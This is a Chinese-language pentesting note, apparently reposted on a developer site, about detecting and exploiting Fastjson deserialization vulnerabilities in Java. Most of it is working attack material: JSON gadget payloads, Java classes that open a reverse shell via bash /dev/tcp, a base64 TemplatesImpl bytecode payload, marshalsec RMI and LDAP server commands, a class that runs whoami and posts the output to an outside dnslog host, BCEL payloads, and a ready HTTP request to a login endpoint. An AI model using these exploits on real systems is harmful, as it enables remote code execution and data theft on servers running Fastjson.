检测

参考:https://github.com/alibaba/fastjson/issues/3077

jndi漏洞检测

{"@type":"java.net.InetAddress","val":"x166os.dnslog.cn"}

java.net.InetAddress这个gadget在1.2.49禁止了。如果上面这个poc可以出dnslog说明很大概率可以rce。

后端检测

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

如果以上这些poc可以出dnslog,则可以说明后端百分百是fastjson。

踩坑记录

最近发现有个容易被人弄错的地方,就是fastjson的payload。网上的Payload,发现有的目标可以成功,有的目标不能成功,这是为什么?

比如这个Payload:

{"@type":"java.net.Inet4Address","val":"dnslog"}

这个同学发现vulhub环境中,用反弹shell的payload来打可以成功,但换这个检测用的payload就不行。

其实原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。

这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"},相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。

所以建议测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值,比如:

{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

这样写通常就不会有type not match的错误了。

报错检测

参考:fastjson 获取精确版本号的方法 - 浅蓝 's blog

{"xxx":"aaa"

检测不到花括号和逗号时,即可触发报错,从而判断出后端是fastjson还是jackson,某种情况下可以直接爆出版本号。

版本检测流程

{"@type":"java.net.Inet4Address","val":"dnslog"}

若有dnslog则可以判断入口点为fastjson,接下来开始版本判断。

{"@type":"java.net.InetAddress","val":"dnslog"}

如果有dnslog说明版本在49以下,因为这个gadget在49被禁止了。

{

"xxx": "\x

如果存在dos漏洞说明版本在60以下。没有则60以上。 参考:https://blog.riskivy.com/%E6%97%A0%E6%8D%9F%E6%A3%80%E6%B5%8Bfastjson-dos%E6%BC%8F%E6%B4%9E%E4%BB%A5%E5%8F%8A%E7%9B%B2%E5%8C%BA%E5%88%86fastjson%E4%B8%8Ejackson%E7%BB%84%E4%BB%B6/

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

如果有dnslog说明在68以及以下。

69以上

{"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","name":"/etc/passwd","append":true}

复现

fastjson 1.2.24以及之前版本

dnslog

首先看看是否存在漏洞

Content-Type: application/json

1.成功

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:1099","autoCommit":true}

2.成功

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099","autoCommit":true}

3.未成功

{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","JndiName":"ldap://ip:1389/Object", "loginTimeout":0}
弹shell

首先编译 poc 得到字节码

javac Poc.class
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() throws IOException {
try {
Runtime rt = Runtime.getRuntime();
String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}

然后把 .class 文件做 base64 加密 python solve_payload.py

import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

修改 json 的 _bytecodes 为 刚刚生成的 base64 文本 :

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANQoADAAeCgAfACAHACEIACIIACMIACQKAB8AJQoAJgAnBwAoBwApCgAKAB4HACoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQANU3RhY2tNYXBUYWJsZQcAKQcAKAEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAsAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAA0ADgcALQwALgAvAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQAuYmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvMTk5OTkgMD4mMQwAMAAxBwAyDAAzADQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoADAAAAAAABAABAA0ADgACAA8AAAB+AAQABAAAACwqtwABuAACTAa9AANZAxIEU1kEEgVTWQUSBlNNKyy2AAdOLbYACFenAARMsQABAAQAJwAqAAkAAgAQAAAAIgAIAAAACwAEAA4ACAAPABwAEAAiABEAJwAUACoAEgArABwAEQAAABAAAv8AKgABBwASAAEHABMAABQAAAAEAAEAFQABABYAFwABAA8AAAAZAAAABAAAAAGxAAAAAQAQAAAABgABAAAAIAABABYAGAACAA8AAAAZAAAAAwAAAAGxAAAAAQAQAAAABgABAAAAJQAUAAAABAABABkACQAaABsAAgAPAAAAJQACAAIAAAAJuwAKWbcAC0yxAAAAAQAQAAAACgACAAAAKAAIACkAFAAAAAQAAQAJAAEAHAAAAAIAHQ=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
nc -lvp 19999

发包即可弹shell

不过有限制:

  1. 目标网站使用fastjson库解析json
  2. 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
  3. 目标使用的jdk中存在TemplatesImpl
jndi的限制

为什么不jndi去打呢,因为java 8u121( Java™ SE Development Kit 8, Update 121 Release Not... )进行了更新,增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,只有设置了这个选项为True的时候才能正常使用URL进行class的加载。

https://www.anquanke.com/post/id/182140

基于rmi的利用方式

适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前

利用方式:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.RMIRefServer http://127.0.0.1:8080/test/#Expolit
基于ldap的利用方式

适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前

利用方式:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalc.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Expolit
基于BeanFactory的利用方式

适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后

利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。

利用方式:

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }

}

Fastjson 1.2.47 远程命令执行漏洞

dnslog
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}
jndi注入 rmi 弹shell

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

首先编译并上传命令执行代码,如http://ip/ExportObject.class:

// javac ExportObject.java
import java.lang.Runtime;
import java.lang.Process;

public class ExportObject {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类ExportObject.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#ExportObject" 9997

向靶场服务器发送Payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}

nc -lvp 19999 成功弹shell,java版本要一样或者更低才能成功,因为java兼容低版本class,而不是往上兼容,所以通常用jdk6来编译class。

注意一些java版本要一样,在web服务器日志请求头可以看到java版本,然后用该版本编译class,再远程加载执行。

ldap执行命令

exp

//evil2.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.Reader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;

public class evil2 {
    public static void post(String uri, String data) {
        HttpURLConnection httpURLConnection = null;
        BufferedReader bufferedReader = null;
        try {
            URL url = new URL(uri);
            httpURLConnection = (HttpURLConnection)url.openConnection();
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setDoOutput(true);
            OutputStreamWriter out = new OutputStreamWriter(httpURLConnection.getOutputStream());
            out.write(data);
            out.close();
            httpURLConnection.connect();
            InputStream inputStream = httpURLConnection.getInputStream();
            bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
            String line = null;
            StringBuffer stringBuffer = new StringBuffer();
            while ((line = bufferedReader.readLine()) != null) {
                stringBuffer.append(line + "\n");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        finally {
            if (httpURLConnection != null) {
                httpURLConnection.disconnect();
            }
            try {
                if (bufferedReader != null) {
                    bufferedReader.close();
                }
            }
            catch (IOException e) {}
        }
    }

    public static String exec(String cmd) {
        StringBuffer res = new StringBuffer();
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            p.waitFor();
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = "";
            while ((line = br.readLine()) != null) {
                res.append(line);
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
        return res.toString();
    }

    static {
        String cmd = evil2.exec("whoami");
        evil2.post("http://ldap.ceu5ns.ceye.io/", cmd);
//        cmd = evil2.exec("ifconfig");
//        evil2.post("http://ldap.91030df7.n0p.co/", cmd);
//        cmd = evil2.exec("cat /etc/hosts");
//        evil2.post("http://ldap.91030df7.n0p.co/", cmd);
    }
}

启动ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil2 1099
post
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:1099/Exploit",
        "autoCommit":true
    }
}

成功执行。

弹shell
//evil.java
import java.lang.Runtime;
import java.lang.Process;

public class evil {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands={"/bin/bash","-c","bash -i >& /dev/tcp/ip/19999 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

启动ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip/#evil 1098

bp发包

POST /public/LOGIN/loginIn HTTP/1.1
Host: xxx
Content-Length: 266
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac; SESSION=07c5e3d3-c2cf-4cbd-ad57-e358d7e0abac
Connection: close

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:1098/Exploit",
        "autoCommit":true
    }
}

成功弹shell。

defineclass

参考:https://github.com/bit4woo/code2sec.com/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%E4%B8%83%EF%BC%9Afastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96PoC%E6%B1%87%E6%80%BB.md

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个在上面提到过了,是有限制的,实战中一般gg。

tomcat-dbcp&&commons-dbcp

Fastjson BasicDataSource攻击链简介

BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。

参考 defineClass在java反序列化当中的利用 - 先知社区,发现 ClassLoader 还是挺好使。文章中给的 payload 依赖是 tomcat-dbcp,对应的构造类是 org.apache.tomcat.dbcp.dbcp.BasicDataSource 。我碰到的这个漏洞环境没有 tomcat-dbcp,只有 commons-dbcp,不过我发现也能用,利用方式和 Payload 构造方法基本一样,只是要把对应的构造类换成 org.apache.commons.dbcp.BasicDataSource 。

{ 
        {
                @type": "com.alibaba.fastjson.JSONObject",
                "c": {
                        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                        "driverClassLoader": {
                                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                                }, 
                        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
                        } 
        }:"ddd"
}
{
"@type": "org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        }, 
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$Q$7d$x$85$d6Z$f9$u$a2$80$dfz$B$P$Q$P$9e$m$5e$8c$5el$d0$88$c1$QOe$d9$e0$ShI$v$G$7f$91g$$jL$f4$H$f8$a3$8c$d3J$c0$8f$3d$cc$ec$bcy$f3$e6$ed$7e$7c$be$be$D8$c4$be$8eE$ac$e8$c8$60U$c5$9a$86$ac$86$5cP$e5U$ac$ab$d8P$b1$c9$Q$abJG$fa$c7$M$91B$b1$c1$a0$9c$b8m$c1$90$b0$a4$pj$a3$7eKx$d7v$abG$88i$b9$dc$ee5lO$G$f5$UT$fc$3b9d$88ZmgXa$d0$aa$bc7U$d3$eb$ee$c8$e3$e2L$G4$8d$da$a5$ae$7do$h$d0$b1$a4b$cb$c06v$Y$92$BV$ee$d9N$a7$5c$f7$3d$e9tHq$Q$a68$X$a3$p$g$e2$e2A$94$a4k$60$X$7b$M$e99$fft$cc$c5$c0$97$aeC$c6I$fd$97$d6E$ab$x$b8$cf$90$9aCW$p$c7$97$7d$b2$a2w$84$3f$x2$85$a2$f5$8fC$efP$c4Xp$86B$e1$d6$fa$eb$b0$f2s$e2$d2s$b9$Y$O$x$e4N$a3$9f$O$ce$CX$f0F$8a$GUe$ca$8cr$f4$e0$Zl$S$b6$97$v$c6BPG$9c$a2$f1M$40$CI$ca$gR$b3$e1$g$a1A$_$ff$82$85$e8$h$o$cd$88$a9$d4$9b$8a$Z$ad$3f$nv$f3$I$e5$7c$S$f63$c8B$9d$w$9bPB$b5$M$veiO$8el$c5$c3$bd$m$ae$Z$de$d2_$d77$eb$a6$m$C$A$A"
} 
        

fastjson 1.2.68绕过rce

参考:

https://b1ue.cn/archives/382.html具体的gadget需要自行寻找。暂不公开。

好用的目前就两条链,一个是mysqljdbc,需要mysqlconnect依赖在5.x。另外一个是common-io写文件,需要知道绝对路径。这两条链目前都已经公开。

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐